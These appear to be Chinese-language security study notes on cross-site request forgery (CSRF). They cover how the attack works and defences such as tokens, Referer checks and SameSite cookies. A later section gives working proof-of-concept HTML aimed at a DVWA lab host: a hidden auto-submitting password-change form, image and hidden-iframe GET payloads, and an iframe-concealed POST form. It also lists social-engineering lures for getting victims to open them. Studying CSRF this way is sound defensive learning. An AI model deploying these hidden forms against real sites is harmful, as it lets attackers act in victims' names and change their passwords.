csrf-跨站请求伪造
攻击者挟持你的身份凭证,以你的名义发起恶意的请求
简单来说,CSRF必须经过两个步骤:
- 用户访问可信任站点A,并产生了相关的cookie;
- A站点的cookie仍有效,用户在访问危险站点B时,发起了对A站点的伪造请求;
大家同时访问多个网站是很正常的事情,所以也很容易遭到CSRF的攻击。
举例
以改密码为例,改密码本质是发一个包含新密码的表单请求给接口
攻击者构造好一个有隐藏的自动提交表单的页面,诱使受害者访问后,表单自动提交,浏览器带着接口域名的cookie,即你的身份凭证,发起了有改密码功能的请求给接口,接口如果只验证该请求是否带证明(cookie),则密码会被成功修改
谈防御-与正常请求对比
与正常请求相比,csrf的请求的不同之处
- Referer不同:Referer的作用是告诉后端,该请求从哪里/哪个页面/哪个url发出,因为csrf的请求是攻击者构造的,所以Referer来自于攻击者控制的网站url,验证此处是防御手段之一,但如果攻击者同时有受害网站的xss,则可以xss-csrf结合,使Referer来自于受害网站,从而绕过验证
- 没有token:token可以理解成一个与cookie类似的参数,有证明的作用,token通常会在用户正常浏览时,从后端返回给用户的前端,当用户进行敏感操作如改密码时,会带上此token,以验证此请求来自于一个正常的用户发起。token可以存在cookie中,也可以存在前端页面中,通常是hidden的表单,请求时作为一个参数一起post提交
而因为csrf的请求通常来自于攻击者伪造的页面,如果没有其他漏洞的配合,是没有token的
开发角度防御csrf
https://www.cnblogs.com/hutuzhu/p/5919400.html
- 表单hash
- 验证referer
- http头自定义属性验证
- 关键操作加验证码
大杀器-Cookie SameSite属性
服务端在设置 cookie 的时候,除了 cookie 的键和值以外,还可以同时给 cookie 设置一些属性,例如:
Expires
Max-Age
Domain
Path
Secure
HttpOnly
SameSite
同站 (same-site) 请求 VS 跨站 (cross-site) 请求
一个 HTML 页面既可以发起同站请求,也可以发起跨站请求。当请求目标的 URL 对应的 site 与页面所在 URL 对应的 site 相同时,这个请求就是同站请求,反之就是跨站请求。
例如:
当 www.baidu.com 的网页,请求 static.baidu.com 域下的图片,这个请求属于同站请求
当 a.github.io 的网页,请求 b.github.io 域下的图片,这个请求属于跨站请求
这里要注意和同源策略里的 same origin 做一下区分。同源指的是同协议、同域名、同端口。同站只看 site 是否一致,不管协议和端口。所以同源一定同站,同站不一定同源。
SameSite 属性
SameSite 属性用来控制 HTTP 请求携带何种 cookie。这是通过它的三种值来实现:
None
Lax
Strict
对于 SameSite=Strict 的 cookie:只有同站请求会携带此类 cookie。
对于 SameSite=None 的 cookie:同站请求和跨站请求都会携带此类 cookie。
Lax 的行为介于 None 和 Strict 之间。对于 SameSite=Lax 的 cookie,除了同站请求会携带此类 cookie 之外,特定情况的跨站请求也会携带此类 cookie。
特定情况的跨站请求指的是:safe cross-site top-level navigations(后文简称:安全的跨站顶级跳转),例如:
点击超链接 <a> 产生的请求
以 GET 方法提交表单产生的请求
JS 修改 location 对象产生的跳转请求
JS 调用 window.open() 等方式产生的跳转请求
反过来,哪些跨站顶级跳转是不安全的呢?例如:
以 POST 方法提交表单产生的请求
通过不同方式发起跨站请求,cookie 发送情况可以简单总结为下表:
最后一行的 prerender 请求有些特殊,它也会携带 SameSite=Lax 的 cookie
利用方式
成功的利用需要受害者访问有csrf poc的页面,直接丢个链接给对方不现实,所以需要加点料
与受信域的xss配合
- 当前窗口跳转
<script>window.location.href="http://www.baidu.com"</script>
- 新窗口跳转,chrome会拦截
<script>window.open("http://www.baidu.com")</script>
- ajax直接发出请求
与url重定向配合
www.aaa.com/url.php?url=www.csrfPOC.com
社工
男发女
女发男
老发震惊
小发玩
打客服
burp POC+js自动提交表单
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form name="表名" action="http://192.168.146.130/dvwa/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="id" value="admin" />
<input type="hidden" name="pass" value="admin123" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms.表名.submit();//自动提交表单
</script>
</body>
</html>
会显示响应,受害者会第一时间发现
GET型csrf POC
img标签
<img src="http://www.test.com/csrf.php?username=admin&pass=admin">
可以藏在一堆东西里
带hidden属性的iframe
<iframe hidden srcdoc='
<img src="http://www.test.com/csrf.php?username=admin&pass=admin">
'></iframe>
POST型csrf POC
利用iframe隐藏响应
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Welcome to CSRF</title>
</head>
<p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p>
<body>
<!--hidden属性使内联框架iframe隐藏,这样的CSRF隐蔽-->
<iframe hidden srcdoc='
<form name="dvwa" action="http://192.168.146.130/DVWA/vulnerabilities/xss_s/" method="POST">
<input type="hidden" name="txtName" value="csrf" />
<input type="hidden" name="mtxMessage" value="csrf" />
<input type="hidden" name="btnSign" value="Sign Guestbook" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms.dvwa.submit();
</script>
'></iframe>
</body>
</html>
ajax
不会,求大佬赐个poc